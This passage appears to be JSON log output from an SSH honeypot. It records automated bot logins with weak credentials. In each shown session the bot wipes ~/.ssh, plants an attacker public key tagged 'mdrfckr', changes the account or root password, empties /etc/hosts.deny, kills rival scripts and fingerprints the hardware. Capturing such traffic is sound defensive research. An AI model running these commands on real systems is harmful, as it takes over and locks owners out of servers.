.ssh"},{"seq":2,"at":"2026-08-27T12:04:04.022478+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:04:07.653751+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:04:08.003855+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:04:08.304126+00:00","kind":"input","latency_ms":null,"data":"echo \"root:XRFGNUOJC1iB\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:04:08.601706+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:04:08.899255+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:04:09.696068+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:04:09.999097+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:04:11.216174+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:04:11.517221+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:04:12.793633+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:04:13.093131+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:04:13.660686+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:04:13.960824+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:04:14.756317+00:00","kind":"output","latency_ms":null,"data":" 12:04:14 up 7 days, 8:54, 0 user, load average: 0.11, 0.12, 0.11\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:04:15.056335+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:04:15.918813+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:04:16.218720+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:04:17.005524+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:04:17.305755+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:04:17.967010+00:00","kind":"output","latency_ms":null,"data":"top - 12:04:17 up 7 days, 8:54, 0 user, load average: 0.11, 0.12, 0.11\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:04:18.264677+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:04:19.143231+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:04:19.442936+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:04:19.825137+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:04:20.123366+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:04:20.701654+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:04:21.002630+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:04:22.194195+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:04:22.496757+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:04:24.176210+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Db123456","method":"password","accepted":true,"tier":"other"}]} {"id":"a1f41a3c-dbe5-46b1-8eb5-a6ad2b85ae3e","name":"bashful-gallant-blackbird","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":57434,"username":"inventory","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":329,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:04:04.569186+00:00","ended_at":"2026-08-27T12:04:06.052124+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2229,"events":[{"seq":1,"at":"2026-08-27T12:03:46.660318+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:03:46.986693+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:03:51.206768+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:03:51.608207+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:03:51.933549+00:00","kind":"input","latency_ms":null,"data":"echo -e \"inventory\\nR3cUCJ9B32UP\\nR3cUCJ9B32UP\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:03:52.262714+00:00","kind":"input","latency_ms":null,"data":"echo \"inventory\\nR3cUCJ9B32UP\\nR3cUCJ9B32UP\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:03:52.593299+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:03:52.972488+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:03:53.300794+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:03:54.352845+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:03:54.685345+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:03:55.834003+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:03:56.166823+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:03:56.581377+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:03:56.910655+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:03:57.811289+00:00","kind":"output","latency_ms":null,"data":" 12:03:57 up 7 days, 8:54, 0 user, load average: 0.16, 0.14, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:03:58.138414+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:03:58.644030+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:03:58.972748+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:03:59.387600+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:03:59.714924+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:04:00.333170+00:00","kind":"output","latency_ms":null,"data":"top - 12:04:00 up 7 days, 8:54, 0 user, load average: 0.16, 0.14, 0.13\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:04:00.665636+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:04:01.169673+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:04:01.498661+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:04:01.796961+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:04:02.130867+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:04:02.505668+00:00","kind":"output","latency_ms":null,"data":"inventory"},{"seq":29,"at":"2026-08-27T12:04:02.835846+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:04:04.230386+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:04:04.569961+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:04:05.953028+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"inventory","password":"inventory","method":"password","accepted":true,"tier":"other"}]} {"id":"bee65c64-e89f-48f1-85aa-d0bc1a21c78d","name":"freckled-gallant-sable","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":37618,"username":"newuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":260,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:03:29.469612+00:00","ended_at":"2026-08-27T12:03:30.457544+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2254,"events":[{"seq":1,"at":"2026-08-27T12:03:01.834473+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:03:02.096185+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:03:06.269622+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:03:08.237764+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:03:08.498278+00:00","kind":"input","latency_ms":null,"data":"echo -e \"12345678\\ngetxE23Lhnir\\ngetxE23Lhnir\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:03:08.759485+00:00","kind":"input","latency_ms":null,"data":"echo \"12345678\\ngetxE23Lhnir\\ngetxE23Lhnir\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:03:09.019871+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:03:09.622197+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T12:03:09.705232+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T12:03:10.890059+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T12:03:11.151098+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T12:03:12.584886+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:03:12.849029+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T12:03:14.383147+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T12:03:14.645627+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T12:03:15.574121+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T12:03:15.834434+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T12:03:16.954951+00:00","kind":"output","latency_ms":null,"data":" 12:03:16 up 7 days, 8:53, 0 user, load average: 0.13, 0.1, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T12:03:17.216199+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T12:03:18.228177+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T12:03:18.488282+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T12:03:20.289012+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T12:03:20.550314+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T12:03:21.668349+00:00","kind":"output","latency_ms":null,"data":"top - 12:03:21 up 7 days, 8:53, 0 user, load average: 0.13, 0.1, 0.1\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T12:03:21.929355+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T12:03:23.514941+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T12:03:23.777600+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T12:03:25.577452+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T12:03:25.838420+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T12:03:27.604825+00:00","kind":"output","latency_ms":null,"data":"newuser"},{"seq":31,"at":"2026-08-27T12:03:27.866811+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T12:03:29.209942+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T12:03:29.470438+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T12:03:30.384237+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"newuser","password":"12345678","method":"password","accepted":true,"tier":"other"}]} {"id":"4f6b69ad-0f71-4209-a73b-9586ab7760c9","name":"dappled-ancient-weasel","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":54628,"username":"gitlab","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":732,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:03:02.988728+00:00","ended_at":"2026-08-27T12:03:04.565690+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2263,"events":[{"seq":1,"at":"2026-08-27T12:02:35.109482+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:02:35.834137+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:02:43.264691+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:02:43.679171+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:02:44.426962+00:00","kind":"input","latency_ms":null,"data":"echo -e \"gitlab@2026\\n40ilSLA2tmgO\\n40ilSLA2tmgO\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:02:45.152927+00:00","kind":"input","latency_ms":null,"data":"echo \"gitlab@2026\\n40ilSLA2tmgO\\n40ilSLA2tmgO\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:02:45.878036+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:02:46.457204+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:02:47.194402+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:02:48.582941+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:02:49.313456+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:02:50.148966+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:02:50.878796+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:02:51.131270+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:02:51.863822+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:02:52.416736+00:00","kind":"output","latency_ms":null,"data":" 12:02:52 up 7 days, 8:52, 0 user, load average: 0.22, 0.21, 0.25\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:02:53.149104+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:02:53.871929+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:02:54.614136+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:02:55.012298+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:02:55.743994+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:02:56.417030+00:00","kind":"output","latency_ms":null,"data":"top - 12:02:56 up 7 days, 8:53, 0 user, load average: 0.22, 0.21, 0.25\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:02:57.134066+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:02:57.520899+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:02:58.250544+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:02:59.032205+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:02:59.757240+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:03:00.370359+00:00","kind":"output","latency_ms":null,"data":"gitlab"},{"seq":29,"at":"2026-08-27T12:03:01.103495+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:03:02.259192+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:03:02.989199+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:03:04.334315+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"gitlab","password":"gitlab@2026","method":"password","accepted":true,"tier":"other"}]} {"id":"5493d2e7-4e58-45b0-a624-0fa3d82467be","name":"whispering-muted-bunting","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":55178,"username":"ardi","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":294,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:02:12.460990+00:00","ended_at":"2026-08-27T12:02:14.615074+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2214,"events":[{"seq":1,"at":"2026-08-27T12:01:54.756345+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:01:55.047866+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:01:59.600578+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:02:00.396382+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:02:00.690716+00:00","kind":"input","latency_ms":null,"data":"echo -e \"ardi\\n0j1mkAGzgZkC\\n0j1mkAGzgZkC\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:02:00.982093+00:00","kind":"input","latency_ms":null,"data":"echo \"ardi\\n0j1mkAGzgZkC\\n0j1mkAGzgZkC\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:02:01.274766+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:02:01.599097+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:02:01.894097+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, 